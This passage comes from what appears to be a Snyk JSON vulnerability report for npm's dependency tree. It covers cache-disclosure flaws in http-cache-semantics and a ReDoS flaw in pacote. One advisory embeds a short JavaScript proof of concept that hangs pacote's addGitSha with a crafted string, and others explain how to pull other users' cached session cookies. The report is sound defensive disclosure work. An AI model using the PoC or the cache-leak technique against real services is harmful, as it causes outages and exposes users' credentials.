"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@12.0.0",
"libnpmexec@11.0.4",
"@npmcli/arborist@10.0.4",
"@npmcli/metavuln-calculator@10.0.0",
"pacote@22.0.0",
"sigstore@5.0.0",
"@sigstore/tuf@5.0.0",
"tuf-js@6.0.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@12.0.0",
"libnpmfund@8.0.4",
"@npmcli/arborist@10.0.4",
"@npmcli/metavuln-calculator@10.0.0",
"pacote@22.0.0",
"sigstore@5.0.0",
"@sigstore/tuf@5.0.0",
"tuf-js@6.0.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@12.0.0",
"libnpmfund@8.0.4",
"@npmcli/arborist@10.0.4",
"@npmcli/metavuln-calculator@10.0.0",
"pacote@22.0.0",
"sigstore@5.0.0",
"@sigstore/tuf@5.0.0",
"tuf-js@6.0.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@12.0.0",
"libnpmpack@10.0.4",
"@npmcli/arborist@10.0.4",
"@npmcli/metavuln-calculator@10.0.0",
"pacote@22.0.0",
"sigstore@5.0.0",
"@sigstore/tuf@5.0.0",
"tuf-js@6.0.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@12.0.0",
"libnpmpack@10.0.4",
"@npmcli/arborist@10.0.4",
"@npmcli/metavuln-calculator@10.0.0",
"pacote@22.0.0",
"sigstore@5.0.0",
"@sigstore/tuf@5.0.0",
"tuf-js@6.0.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-PACOTE-8225084",
"title": "Denial of Service (DoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
">=11.2.7 <21.5.1"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"21.5.1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "pacote",
"references": [
{
"url": "https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508",
"title": "GitHub Commit"
},
{
"url": "https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js%23L2C1-L13C2",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-24T05:38:13.558341Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2026-06-26T11:01:41.662043Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-06T14:03:36.496389Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-06T14:03:36.496389Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T05:38:13.558341Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2026-06-26T11:01:41.662043Z"
}
],
"description": "## Overview\n[pacote](https://www.npmjs.org/package/pacote) is a JavaScript package downloader\n\nAffected versions of this package are vulnerable to Denial of Service (DoS) via the `addGitSha` function. An attacker can exploit this vulnerability by supplying a specially crafted `spec.rawSpec` value that triggers the function’s regex replacement and string-manipulation logic, causing excessive CPU consumption and potentially stalling or crashing the process.\n## PoC\n```js\r\nconst addGitSha = require('pacote/lib/util/add-git-sha');\r\n\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"#\";\r\n}\r\nstr += \"\\n@\";\r\n\r\nconst spec = {\r\n rawSpec: str,\r\n hosted: null,\r\n};\r\n\r\nconsole.log(\"start\");\r\naddGitSha(spec, \"\");\r\nconsole.log(\"end\");\r\n\r\n// run `npm install pacote` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.\n\nUnlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.\n\nOne popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.\n\nWhen it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.\n\nTwo common types of DoS vulnerabilities:\n\n* High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, [commons-fileupload:commons-fileupload](https://security.snyk.io/vuln/SNYK-JAVA-COMMONSFILEUPLOAD-30082).\n\n* Crash - An attacker sending crafted requests that could cause the system to crash. For Example, [npm `ws` package](https://snyk.io/vuln/npm:ws:20171108)\n\n## Remediation\nUpgrade `pacote` to version 21.5.1 or higher.\n## References\n- [GitHub Commit](https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508)\n- [Vulnerable Code](https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js#L2C1-L13C2)\n",
"epssDetails": {
"percentile": "0.25940",
"probability": "0.00346",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-9496"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "pacote",
"proprietary": true,
"creationTime": "2024-10-17T10:34:46.482142Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-16T16:02:48Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-05-25T09:33:02.725240Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-06T14:03:36.496389Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1"
],
"isUpgradable": true,
"isPatchable": false,
"name": "pacote",
"version": "20.0.1"
},
{
"id": "SNYK-JS-PACOTE-8225084",
"title": "Denial of Service (DoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
">=11.2.7 <21.5.1"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"21.5.1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "pacote",
"references": [
{
"url": "https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508",
"title": "GitHub Commit"
},
{
"url": "https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js%23L2C1-L13C2",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
